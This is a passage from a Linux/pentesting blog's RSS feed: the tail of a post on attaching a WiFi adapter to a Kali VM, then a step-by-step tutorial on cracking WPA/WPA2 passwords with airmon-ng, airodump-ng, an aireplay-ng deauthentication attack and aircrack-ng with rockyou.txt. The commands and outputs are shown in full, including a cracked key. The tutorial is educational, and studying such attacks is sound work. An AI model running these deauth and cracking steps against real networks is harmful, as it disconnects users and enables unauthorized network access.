<li>Click on the USB icon that has a plus (+) sign and select your Wireless adapter.<br><strong>Note</strong>: Be careful since the adapter may appear with the chipset na,e instead of the Brand name. For example, my adapter in this case is <strong>TP-LINK TL-WN722N 2.4GHz v1</strong> but was listed under the chipset name <strong>Atheros AR9271</strong>.<br><br>If you are not sure of the adapter&#8217;s name, just remove it, and you will notice the name that will disappear from the VirtualBox USB list.<br><br><figure><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-46.png"></figure><br></li>



<li>Your wireless adapter will be listed under the “USB Device Filters” section.<br><br><figure><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-47.png"></figure><br></li>



<li>To finalize everything, right-click on your newly added USB filter and select the Edit Filters option.<br>A window will open listing all the details about your wireless adapter. Then, on the Remote option, click on the dropdown and select Yes.<br><br><figure><img decoding="async" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-48.png"></figure><br></li>



<li>Click Ok to save your configurations.</li>
</ol>



<h2 id="connect-a-wireless-adapter-to-kali-linux-virtual-machine-vmware-player" class="wp-block-heading">Connect a Wireless Adapter to Kali Linux Virtual Machine (VMware Player)</h2>



<p>To connect a wireless adapter to your Kali Linux virtual machine, when using VMware Player, you can go to the <strong>VMware Player menu &gt; Player &gt; Removable Devices &gt; [your_adapter] &gt; Connect (Disconnect from host)</strong>.</p>



<p>It may not list the name of the WiFi Adapter, but something related to the chipset, instead. Here, I’m using a <strong>TP-LINK TL-WN722N 2.4GHz v2/v3</strong>, and as you can see, it’s displaying <strong>Realtek 802.11n NC</strong>.</p>



<p>You should then receive a message informing you that the device will be safely stopped and disconnected from the host machine, so it can then be connected to Kali Linux in the VMware player.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="987" height="571" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.jpg" alt="" class="wp-image-3418" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-49.jpg 987w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-300x174.jpg 300w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-49-768x444.jpg 768w" sizes="auto, (max-width: 987px) 100vw, 987px" /></figure>



<p class="orange-border">I&#8217;m not sure of an easy way how you can automatically connect a WiFi Adapter with VMware Player, as we did with VirtualBox. The solution in VMware knowledge base seems to involve a bit of work <a href="https://kb.vmware.com/s/article/1648" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">https://kb.vmware.com/s/article/1648<span class="wpel-icon wpel-image wpel-icon-19"></span></a>, and I haven&#8217;t tried it myself. <em>If anyone has an easier solution for this and would like to share, then we&#8217;d love to hear from you</em>.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>Now you can boot your Kali VM and start practicing your wireless hacking skills. You can list all the wireless networks around you and even put your card in monitor mode.</p>



<p>I believe up to this point, you have a working wireless adapter on your Kali Linux VirtualBox machine. Please remember when selecting an adapter for wireless hacking to ensure the chipset used is among the chipsets listed above.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/feed/</wfw:commentRss>
			<slash:comments>8</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3399</post-id>	</item>
		<item>
		<title>Crack WPA/WPA2 WiFi Passwords using Aircrack-ng &#038; Kali Linux</title>
		<link>https://nooblinux.com/crack-wpa-wpa2-wifi-passwords-using-aircrack-ng-kali-linux/</link>
					<comments>https://nooblinux.com/crack-wpa-wpa2-wifi-passwords-using-aircrack-ng-kali-linux/#comments</comments>
		
		<dc:creator><![CDATA[N00b Ed]]></dc:creator>
		<pubDate>Tue, 19 Oct 2021 20:18:29 +0000</pubDate>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Pentesting]]></category>
		<category><![CDATA[kali]]></category>
		<guid isPermaLink="false">https://nooblinux.com/?p=3381</guid>

					<description><![CDATA[For anyone who wants to get started on an Ethical Hacking career, one of the topics you will encounter is Networking hacking. That involves, Cracking WIFI passwords (WEP, WPA, WPA2), Deauthentication attacks (disconnecting users on a WIFI network), Man In The Middle (MITM) attacks, packet-sniffing, and packet-analysis. This post will give you a detailed guide [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p>For anyone who wants to get started on an Ethical Hacking career, one of the topics you will encounter is Networking hacking.</p>



<p>That involves, Cracking WIFI passwords (WEP, WPA, WPA2), Deauthentication attacks (disconnecting users on a WIFI network), Man In The Middle (MITM) attacks, packet-sniffing, and packet-analysis.</p>



<p>This post will give you a detailed guide on cracking WPA/WPA2 WiFi passwords using Kali Linux.</p>



<p class="orange-border"><strong>Important:</strong> In this article I&#8217;ll be demonstrating how to crack a password on my WiFi network. Please do not use this method for non-ethical purposes.</p>






<h2 id="understanding-how-networks-operate" class="wp-block-heading">Understanding How Networks Operate</h2>



<p>Before looking at how to crack WiFi passwords, you need to understand how a network operates. A network usually contains several devices connected using a wired (Ethernet, Fiber, etc.) or wireless connection (WiFi, Bluetooth, etc.) to share resources. An excellent example of a resource that we connect to networks to access is the <strong>Internet</strong>.</p>



<p>Whether you are on a wired or wireless network, one device is always considered a server. For example, if you are on a home network, the server would be the router/Access point. To connect to the internet, a Device(A) will send a request to the router, which will, in turn, fetch what you want from the Internet. Data transmitted between the client and the Access Point is known as <strong>Packets</strong>.</p>



<p>This tutorial will teach you how to capture these packets and use them to crack WPA and WPA2 passwords.</p>



<div class="wp-block-image"><figure class="aligncenter size-full"><img loading="lazy" decoding="async" width="663" height="412" src="https://nooblinux.com/wp-content/uploads/2021/10/word-image-57.webp" alt="Typical Network" class="wp-image-3392" srcset="https://nooblinux.com/wp-content/uploads/2021/10/word-image-57.webp 663w, https://nooblinux.com/wp-content/uploads/2021/10/word-image-57-300x186.webp 300w" sizes="auto, (max-width: 663px) 100vw, 663px" /></figure></div>



<h2 id="managed-mode-and-monitor-mode" class="wp-block-heading">Managed Mode and Monitor Mode?</h2>



<p>Every device with access to the internet comes with a chip known as the Network Interface Card (<strong>NIC</strong>). This chip is responsible for capturing packets sent by the router to our device.</p>



<p>By default, it is set to <strong>Managed Mode</strong>. That means it can only listen to packets sent directly to our device (packets with our devices’ MAC address as the destination MAC). To crack a WPA or WPA2 WIFi, we need to capture many of these packets. Therefore, we will set our <strong>NIC</strong> to <strong>Monitor Mode</strong>. In Monitor Mode, the card will listen to all packets being sent by the router capturing as many packets as possible.</p>



<p>Up to this point, I believe you now have the basic knowledge required to get you started with Network hacking. Boot your Kali Linux machine, and we can begin to crack WiFi passwords.</p>



<h2 id="an-overview-of-how-the-method-works" class="wp-block-heading">An Overview of How The Method Works</h2>



<p>To give you a short and simple overview so you know what&#8217;s coming up, we will:</p>



<ol class="wp-block-list"><li>Set our wireless network adapter in <strong>monitor mode</strong> so it can listen for packets</li><li>List all available WiFi networks</li><li>Target a single WiFi network from which we&#8217;ll try to capture <strong>Handshake packets</strong> &#8211; these are packets transmitted between the router and the client computer, when they&#8217;re trying to establish a connection. We want to capture these packets, because some of them will contain the <a href="https://docs.oracle.com/cd/E26180_01/Platform.94/ATGPersProgGuide/html/s0506passwordhashing01.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">hashed password.<span class="wpel-icon wpel-image wpel-icon-19"></span></a></li><li>We won&#8217;t be decrypting the hashed password, but it still provides a valuable clue. Next we&#8217;ll use a large list of popular passwords, and we&#8217;ll turn each one into a hashed form, and compare them with the WiFi password, in it&#8217;s hashed form, that we got from listening to packets.</li><li>When the hashes match, this means that we found the password.</li></ol>



<h3 id="important-notes" class="wp-block-heading">Important Notes</h3>



<ol class="wp-block-list"><li>In our tutorial we&#8217;ll use a popular list of passwords, called <strong>rockyou.txt</strong>, that comes with Kali Linux.</li><li>If the password you&#8217;re trying to crack isn&#8217;t in the passwords list, also called <code>wordlist</code>, then we won&#8217;t be able to crack it.</li><li>You can check if the password is in the wordlist by running something like <code>sudo grep -F 'yourpassword' /usr/share/rockyou.txt</code>.</li><li>Keep in mind that <strong>/usr/share/rockyou.txt</strong> is archived by default, into&nbsp;<strong>/usr/share/rockyou.txt.gz</strong>, so you&#8217;ll have to extract it first. To do this you can run:<br>cd /usr/share/wordlists &amp;&amp; sudo gzip -d rockyou.txt.gz</li></ol>



<h2 id="step-1-put-your-card-in-monitor-mode" class="wp-block-heading">Step 1. Put Your Card in Monitor Mode</h2>



<p>On your Kali machine, open the Terminal and execute the command below to list all the connected network devices.</p>



<pre class="wp-block-preformatted prompt">ifconfig</pre>



<p>Or</p>



<pre class="wp-block-preformatted prompt">ip a</pre>



<p class="neon-border"><strong>Related</strong>: In case you&#8217;re also running Kali Linux in a virtual machine, here is a tutorial on how to connect wireless adapter to Kali Linux in VirtualBox/VMware &#8211; <a href="https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/" data-wpel-link="internal">Connecting a Wireless Adapter to a Kali Linux Virtual Machine</a>. It also covers the types of wireless adapters you can place in monitor mode and that can do packet injection.</p>



<p>In Kali, the Wireless card will be listed as something like <code>wlan0</code>. I&#8217;m using Kali Linux in VirtualBox, with a wireless adapter connected.</p>



<p>In my case, the WiFi network is listed as <code>wlan0</code>:</p>


<div class="codeblock-title">Output from ifconfig</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="19" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">eth0: flags=4163&amp;lt;UP,BROADCAST,RUNNING,MULTICAST&amp;gt;  mtu 1500
        inet 10.0.2.15  netmask 255.255.255.0  broadcast 10.0.2.255
        inet6 fe80::a00:27ff:fe2f:7ffe  prefixlen 64  scopeid 0x20&amp;lt;link&amp;gt;
        ether 08:00:27:2f:7f:fe  txqueuelen 1000  (Ethernet)
        RX packets 1  bytes 590 (590.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16  bytes 1452 (1.4 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73&amp;lt;UP,LOOPBACK,RUNNING&amp;gt;  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10&amp;lt;host&amp;gt;
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 16  bytes 880 (880.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 16  bytes 880 (880.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4099&amp;lt;UP,BROADCAST,MULTICAST&amp;gt;  mtu 2312
        unspec ca-d3-dd-57-cf-30-00-B9-00-00-00-00-00-00-00-00  txqueuelen 1000  (UNSPEC)
        RX packets 20790  bytes 0 (0.0 B)
        RX errors 0  dropped 20790  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0</pre>



<p>To put your wireless adapter in <strong>monitor mode</strong> (a mode where the adapter can capture all kinds of WiFi packets) , we will use a tool known as <a href="https://www.aircrack-ng.org/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">airmon-ng<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. Execute the command below and replace <code>wlan0</code> with the name of your wireless card.</p>



<pre class="wp-block-preformatted prompt">sudo airmon-ng start wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

    PID Name
    399 NetworkManager
   1142 wpa_supplicant

PHY     Interface       Driver          Chipset

phy0    wlan0           8188eu          TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
                (mac80211 monitor mode already enabled for [phy0]wlan0 on [phy0]wlan0)</pre>



<p class="neon-border"><strong>Note</strong>: You won’t access the internet with your card in monitor mode. It will not even be listed under the network devices on your Settings app.</p>



<p>If your card keeps reverting to <strong>Managed mode</strong>, you will need to kill all interfering processes with the command below.</p>



<pre class="wp-block-preformatted prompt">sudo airmon-ng check kill</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Killing these processes:

    PID Name
   1142 wpa_supplicant</pre>



<p>To check whether your card was successfully put to monitor mode, execute the command below:</p>



<pre class="wp-block-preformatted prompt">iwconfig</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">lo        no wireless extensions.

eth0      no wireless extensions.

wlan0     IEEE 802.11b  ESSID:""  Nickname:"&lt;WIFI@REALTEK&gt;"
          Mode:Monitor  Frequency:2.457 GHz  Access Point: Not-Associated   
          Sensitivity:0/0  
          Retry:off   RTS thr:off   Fragment thr:off
          Power Management:off
          Link Quality=0/100  Signal level=-100 dBm  Noise level=0 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0</pre>



<p>From the image above, you can see the <code>wlan0</code> card is set to <strong>Monitor mode</strong>. In some cases, the Kali system will add the suffix <em>&#8220;mon&#8221;</em> to any card in Monitor mode. For example, <code>wlan0</code> would be renamed to <code>wlan0mon</code>. If that&#8217;s the case for you, that is the name you will use anytime you want to call the WiFi card.</p>



<h2 id="step-2-test-your-card-for-packet-injection" class="wp-block-heading">Step 2. Test Your Card For Packet Injection</h2>



<p>In most wireless attacks, you will need to perform packet injection (Forging or spoofing packets) and unfortunately, not all Network Cards support packet injection.</p>



<p>To test your card for packet injection, execute the command below and ensure you are near WiFi networks. Remember to replace wlan1 with the name of your wireless card in monitor mode.</p>



<pre class="wp-block-preformatted prompt">sudo aireplay-ng --test wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">20:10:12  Trying broadcast probe requests...
20:10:12  Injection is working!
20:10:14  Found 7 APs

20:10:14  Trying directed probe requests...
20:10:14  73:6F:5F:92:73:DD - channel: 1 - 'N00bLx Office'
20:10:14  Ping (min/avg/max): 1.831ms/9.501ms/16.956ms Power: -65.80
20:10:14  30/30: 100%</pre>



<p>From the image above, you can see my card can inject packets into the network. If that&#8217;s not the case for you, you can buy a USB Network card (WiFi dongle) that supports packet injection.</p>



<p class="neon-border">You can also find a list of recommended network cards, along with beginner friendly explanations, in our related tutorial <a href="https://nooblinux.com/connecting-a-wireless-adapter-to-kali-linux-virtual-machine/" data-wpel-link="internal">Connecting a Wireless Adapter to a Kali Linux Virtual Machine</a>.</p>



<h2 id="step-3-packet-sniffing-using-airodump-ng" class="wp-block-heading">Step 3. Packet Sniffing Using Airodump-ng</h2>



<p>Now that we have enabled Monitor mode on our wireless card and even tested it for packet injection, we can now capture packets on our WiFi networks. We will use a tool known as <code>airodump-ng</code>. Execute the command below and press <strong>Enter</strong>.</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng &lt;wifi-card-in-monitor-mode&gt;</pre>



<p>In my case, I&#8217;ll run:</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">CH  4 ][ Elapsed: 12 s ][ 2021-08-27 20:16                                                
                                                                                          
BSSID              PWR  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID           
                                                                                          
17:5A:78:5B:AE:56  -69       44        0    0   1   65   WPA2 CCMP   PSK  Mrs. Test WiFi Network
07:E1:B2:8E:0E:82  -50       49        0    0   6   54e. WPA2 TKIP   PSK  N00bLx Bathroom WiFi          
17:93:7E:F0:FF:A8  -51       41       35    5   1  130   WPA2 CCMP   PSK  The Neighbour       
D3:DA:6D:87:61:86  -52       45        0    0   6   54e. WPA  TKIP   PSK  &lt;length:  0&gt;    
73:6F:5F:92:73:DD  -57       41        0    0   1  130   WPA2 CCMP   PSK  N00bLx Office       
73:E4:D1:03:B1:8D  -65       37        0    0   1  130   WPA2 CCMP   PSK  Mayor's Office      
9B:9D:78:DC:92:43  -67       45        0    0   8  130   WPA2 CCMP   PSK  Sheshe          
AB:25:7A:0A:5C:42  -77       33        4    0   8  130   WPA2 CCMP   PSK  Skynet-4114   
AB:AA:DC:10:4D:3F  -76       27        0    0  10  130   WPA2 CCMP   PSK  Mark_cdd5e8     
B3:10:82:55:F1:57  -86       21        0    0  11  130   WPA2 CCMP   PSK  MARK-7NfA       
2F:78:E6:5B:0F:2B  -93       40        1    0   5  540   WPA2 CCMP   PSK  home network     
AB:30:6D:D1:31:E5  -93       27        0    0   6  130   WPA2 CCMP   PSK  Mobile-1615   
F3:F1:AE:18:A2:46  -93        4        0    0   1   48   WPA2 CCMP   PSK  MrBot_80     
63:8C:27:81:CB:8D  -93        2        0    0  11  130   WPA2 CCMP   PSK  UPC2076594      
D7:BF:F1:DF:52:23  -93        3        0    0   5  130   WPA2 CCMP   PSK  Bob      
EB:48:C0:6D:98:35  -86       24        7    2   3  130   WPA2 CCMP   PSK  TP-Link_47F0    
07:E1:06:1A:32:B1  -89       35        0    0  11  130   WPA2 CCMP   PSK  Some Netowrk       
4F:FB:76:4D:66:EA  -93       14        0    0  11  130   WPA2 CCMP   PSK  Mobile-746339   
9B:53:21:87:20:38  -93       17        2    0   3  130   WPA2 CCMP   PSK  LALA124173       
E3:88:A3:6E:6B:F5  -93        5        0    0   1  130   WPA2 CCMP   PSK  HAI-Fh9n       
CB:9B:94:7E:0A:AE  -93        2        0    0   1  130   WPA2 CCMP   PSK  BATMAN2629688      
6B:8B:B1:59:88:0E  -93        9        0    0   1  130   WPA2 CCMP   PSK  HI              
                                                                                     
                                                                                          
BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes         
                                                                                          
(not associated)   33:C6:35:3F:05:D8  -94    0 - 1     41       10         LALA-4qnS      
(not associated)   57:B1:C8:C5:37:1B  -94    0 - 1      0        1                        
0F:93:59:43:F0:E4  23:1D:97:42:42:F3   -1    1e- 0      0        3                        
0F:93:59:43:F0:E4  9B:C5:40:6E:34:34   -1    1e- 0      0        3                        
0F:93:59:43:F0:E4  13:17:36:01:1A:D2   -1    1e- 0      0        2                        
0F:93:59:43:F0:E4  53:85:C5:90:21:D9  -74    1e- 1e     8       12</pre>



<p>You will see a screen similar to the one in the image above. The program will continue running unless you close it using <strong>Ctrl + C</strong> or <strong>Ctrl + Z</strong>.</p>



<p>Let&#8217;s discuss the information on this screen.</p>



<ul class="wp-block-list"><li><strong>BSSID</strong>: This column displays the MAC address of the target network. That is the MAC address of the router or the Access Point.</li><li><strong>PWR</strong>: This is the signal strength or the power of the network. The closer the number is to zero, the better signal we will get.</li><li><strong>Beacons</strong>: These are frames sent by the Access point to broadcast its existence</li><li><strong>Data</strong>: These are the valuable data packets or frames that will help us in cracking wireless networks</li><li><strong>#/S</strong>: This column shows us the number of data packets we have collected in the last 10 seconds</li><li><strong>CH</strong>: This column indicates the channel on which the network is operating.</li><li><strong>MB</strong>: That indicates the maximum speed supported by the network.</li><li><strong>ENC</strong>: This column indicates the encryption used by the network</li><li><strong>CIPHER</strong>: Indicates the Cipher used on the network</li><li><strong>Auth</strong>: This shows the mode of authentication used to connect to the network</li><li><strong>ESSID</strong>: This column indicates the name of the WIFI network</li></ul>



<p>In this step, all we did was random packet sniffing. We did not target any particular WiFi network or store the sniffed packets.</p>



<p>However, that is useful since it gives you detailed information about networks near you.</p>



<p>In the next step, we will look at targeted packet sniffing.</p>



<h2 id="step-4-targeted-packet-sniffing" class="wp-block-heading">Step 4. Targeted Packet Sniffing</h2>



<p>The difference between <strong>WPA</strong> and <strong>WPA2</strong> is that WPA uses TKIP (Temporal Key Integrity Protocol) while the latter is capable of using TKIP and any other advanced AES algorithm. However, the method that we will use to crack the password is the same for both networks.</p>



<p>To crack WPA/WPA2 wifi networks, we will utilize the handshake packets. These are four packets transmitted between the router and the client when establishing a network connection. To capture packets on a specific network, we will use the syntax below.</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng --bssid &lt;MAC-of-AccessPoint&gt; --channel &lt;channel-number&gt; --write &lt;name-of-file&gt; &lt;card-name&gt;</pre>



<p>From the image above, I will be cracking the password for the network with ESSID &#8220;Mrs. Test WiFi&#8221; I will use the command below.</p>



<pre class="wp-block-preformatted prompt">sudo airodump-ng --bssid 17:5A:78:5B:AE:56 --channel 1 --write mrstestwifiPackets wlan0</pre>



<p>Now all you need to do is sit back and wait for the tool to capture as many Handshake packets as possible.</p>



<pre class="wp-block-preformatted">CH  1 ][ Elapsed: 6 s ][ 2021-08-27 20:20                                                                                      
                                                                                                                               
BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID                                            
                                                                                                                               
17:5A:78:5B:AE:56  -22  93       88        0    0   1   65   WPA2 CCMP   PSK  Mrs. Test WiFi Network                           
                                                                                                                               
BSSID              STATION            PWR   Rate    Lost    Frames  Notes  Probes</pre>



<p class="purple-border"><strong><span style="text-decoration: underline;">However, there is one problem</span></strong>.<br><br>Handshake packets are only captured once &#8211; when a device connects to the network. Therefore, to capture as many handshake packets as possible, we will need to use an attack to remove users from the network and reconnect. Deauthentication attack. That will help us capture more handshake packets.</p>



<p>To carry out a deuathentication attack, open a <strong>new Terminal</strong>, while leaving the current one running and trying to capture Handshake packets,&nbsp;and execute the command below:</p>



<pre class="wp-block-preformatted prompt">sudo aireplay-ng --deauth 50 -a &lt;BSSID-MAC&gt; &lt;Wireless-Card&gt;</pre>



<p>In my case, I&#8217;ll run:</p>



<pre class="wp-block-preformatted prompt">sudo aireplay-ng --deauth 50 -a 17:5A:78:5B:AE:56 wlan0</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">20:32:03  Waiting for beacon frame (BSSID: 17:5A:78:5B:AE:56) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c &lt;client's mac&gt;).
20:32:03  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:03  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:04  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:05  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:05  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
20:32:06  Sending DeAuth (code 7) to broadcast -- BSSID: [17:5A:78:5B:AE:56]
...</pre>



<p>The command will send 50 deauthentication packets, which are enough to disconnect several clients from the router. Once they reconnect, we will capture their handshake packets. All these packets are stored in the “<em>mrtestwifiPackets”</em> file we specified when performing a targeted sniffing.</p>



<h2 id="step-5-cracking-wpa-wpa2-using-a-wordlist" class="wp-block-heading">Step 5. Cracking WPA/WPA2 Using a Wordlist</h2>



<p>When we have captured enough Handshake packets, we can start to crack them using a wordlist.</p>



<p>Execute the ls command on your working directory. You will see several files with the name which you specified to save your sniffed packets. Look for the file with the <code>.cap</code> extension. That is the file we will use to crack our WiFi password.</p>



<p>The tool that we will use is known as <code>aircrack-ng</code>. Use the syntax below:</p>



<pre class="wp-block-preformatted prompt">sudo aircrack-ng &lt;packet-file-name&gt; -w &lt;wordlist_path&gt;</pre>



<p>In my case, I will run:</p>



<pre class="wp-block-preformatted prompt">sudo aircrack-ng mrstestwifiPackets.cap -w /usr/share/wordlists/rockyou.txt</pre>



<p>And here is the successfully cracked WiFi key.</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="831" height="470" src="https://nooblinux.com/wp-content/uploads/2021/10/cracked-key.webp" alt="Successfully Cracked WiFi Key" class="wp-image-3393" srcset="https://nooblinux.com/wp-content/uploads/2021/10/cracked-key.webp 831w, https://nooblinux.com/wp-content/uploads/2021/10/cracked-key-300x170.webp 300w, https://nooblinux.com/wp-content/uploads/2021/10/cracked-key-768x434.webp 768w" sizes="auto, (max-width: 831px) 100vw, 831px" /></figure>



<p>As you can see where it says <code>KEY FOUND! [ mrpassword]</code>.</p>



<p>This process might take some time, depending on your wordlist and the complexity of the key. Some tips you can use to speed up the process are using the GPU, which is much faster, or uploading the captured handshake file to an online cracking site. These sites use powerful computers which can crack passwords even faster. You can also create your wordlist using a Python or Bash script or use the crunch tool.</p>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>This tutorial has given you a detailed guide on cracking WPA/WPA2 key against a wordlist. With a large wordlist, you can easily crack different combinational passwords. However, if the key is very complex, using a wordlist may not always work. If you encountered any issues, then feel free to let us know in the comments and we&#8217;ll get back to you as soon as we can.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/crack-wpa-wpa2-wifi-passwords-using-aircrack-ng-kali-linux/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3381</post-id>	</item>
	</channel>
</rss>
